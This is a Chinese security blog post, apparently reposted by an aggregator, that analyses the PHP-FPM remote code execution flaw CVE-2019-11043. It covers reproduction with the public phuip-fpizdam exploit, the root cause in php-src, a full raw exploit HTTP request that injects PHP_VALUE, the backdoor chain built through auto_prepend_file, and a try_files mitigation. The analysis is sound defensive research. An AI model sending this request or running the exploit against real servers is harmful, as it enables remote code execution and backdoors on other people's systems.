9

PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析

 3 years ago
source link: https://lorexxar.cn/2019/10/25/php-fpm-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析



字数统计: 1.9k阅读时长: 7 min
 2019/10/25  178  Share

国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

2019年10月23日,github公开漏洞相关的详情以及exp。当nginx配置不当时,会导致php-fpm远程任意代码执行。

下面我们就来一点点看看漏洞的详细分析,文章中漏洞分析部分感谢团队小伙伴@Hcamael#知道创宇404实验室

为了能更方便的复现漏洞,这里我们采用vulhub来构建漏洞环境。

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

git pulldocker-compose up -d

访问http://{your_ip}:8080/

下载github上公开的exp(需要go环境)。

go get github.com/neex/phuip-fpizdam
go install github.com/neex/phuip-fpizdam

使用exp攻击demo网站

phuip-fpizdam http://{your_ip}:8080/

在分析漏洞原理之前,我们这里可以直接跟入看修复的commit

-https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227

从commit中我们可以很清晰的看出来漏洞成因应该是path_info的地址可控导致的,再结合漏洞发现者公开的漏洞信息中提到

The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.

也就是说,当path_info被%0a截断时,path_info将被置为空,回到代码中我就不难发现问题所在了。

其中env_path_info就是变量path_info的地址,path_info为0则plien为0.

slen变量来自于请求后url的长度

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;

len为url路径长度
当请求url为http://127.0.0.1/index.php/123%0atest.php
script_path_translated来自于nginx的配置,为/var/www/html/index.php/123\ntest.php

ptlen则为url路径第一个斜杠之前的内容长度
当请求url为http://127.0.0.1/index.php/123%0atest.php
pt为/var/www/html/index.php

这两个变量的差就是后面的路径长度,由于路径可控,则path_info可控。

由于path_info可控,在1222行我们就可以将指定地址的值置零,根据漏洞发现者的描述,通过将指定的地址的值置零,可以控制使_fcgi_data_seg结构体的char* pos置零。

其中script_name同样来自于请求的配置

而为什么我们使_fcgi_data_seg结构体的char* pos置零,就会影响到FCGI_PUTENV的结果呢?

这里我们深入去看FCGI_PUTENV的定义.

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);

跟入函数fcgi_quick_putenv

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703

函数直接操作request的env,而这个参数在前面被预定义。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908

继续跟进初始化函数fcgi_hash_init.

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254

也就是说request->env就是前面提到的fcgi_data_seg结构体,而这里的request->env是nginx在和fastcgi通信时储存的全局变量。

部分全局变量会在nginx的配置中定义

其中变量会在堆上相应的位置储存

回到利用过程中,这里我们通过控制path_info指向request->env来使request->env->pos置零。

继续回到赋值函数fcgi_hash_set函数

紧接着进入fcgi_hash_strndup

这里h->data-》pos的最低位被置为0,且str可控,就相当于我们可以在前面写入数据。

而问题就在于,我们怎么能向我们想要的位置写数据呢?又怎么向我们指定的配置写文件呢?

这里我们拿exp发送的利用数据包做例子

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu

在数据包中,header中的最后两部分就是为了完成这部分功能,其中D-Gisos负责位移,向指定的位置写入数据。

Ebut会转化为HTTP_EBUT这个fastcgi_param中的其中一个全局变量,然后我们需要了解一下fastcgi中全局变量的获取数据的方法。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328

可以看到当fastcgi想要获取全局变量时,会读取指定位置的长度字符做对比,然后读取一个字符串作为value.

也就是说,只要位置合理,var值相同,且长度相同,fastcgi就会读取相对应的数据

HTTP_EBUTPHP_VALUE恰好长度相同,我们可以从堆上数据的变化来印证这一点。

在覆盖之前,该地址对应数据为

然后执行fcgi_quick_putenv

该地址对应数据变为

我们成功写入了PHP_VALUE并控制其内容,这也就意味着我们可以控制PHP的任意全局变量。

当我们可以控制PHP的任意全局变量就有很多种攻击方式,这里直接以EXP中使用到的攻击方式来举例子。

exp作者通过开启自动包含,并设置包含目录为/tmp,之后设置log地址为/tmp/a并将payload写入log文件,通过auto_prepend_file自动包含/tmp/a文件构造后门文件。

在经过对漏洞的深入研究后,我们推荐两种方案修复这个漏洞。

  • 临时修复:

修改nginx相应的配置,并在php相关的配置中加入

try_files $uri =404

在这种情况下,会有nginx去检查文件是否存在,当文件不存在时,请求都不会被传递到php-fpm。

结合EXP github中提到的利用条件,我们可以尽可能的总结利用条件以及漏洞影响范围。

1、Nginx + php_fpm,且配置location ~ [^/]\.php(/|$)会将请求转发到php-fpm。
2、Nginx配置fastcgi_split_path_info并且以^开始以$,只有在这种条件下才可以通过换行符来打断正则表达式判断。
ps: 则允许index.php/321 -> index.php

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

3、fastcgi_paramPATH_INFO会被定义通过fastcgi_param PATH_INFO $fastcgi_path_info;,当然这个变量会在fastcgi_params默认定义。
4、在nginx层面没有定义对文件的检查比如try_files $uri =404,如果nginx层面做了文件检查,则请求不会被转发给php-fmp。

这个漏洞在实际研究过程中对真实世界危害有限,其主要原因都在于大部分的nginx配置中都携带了对文件的检查,且默认的nginx配置不包含这个问题。

但也正是由于这个原因,在许多网上的范例代码或者部分没有考虑到这个问题的环境,例如Nginx官方文档中的范例配置、NextCloud默认环境,都出现了这个问题,该漏洞也正真实的威胁着许多服务器的安全。

在这种情况下,这个漏洞也切切实实的陷入了黑暗森林法则,一旦有某个带有问题的配置被传播,其导致的可能就是大批量的服务受到牵连,确保及时的更新永远是对保护最好的手段:>


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK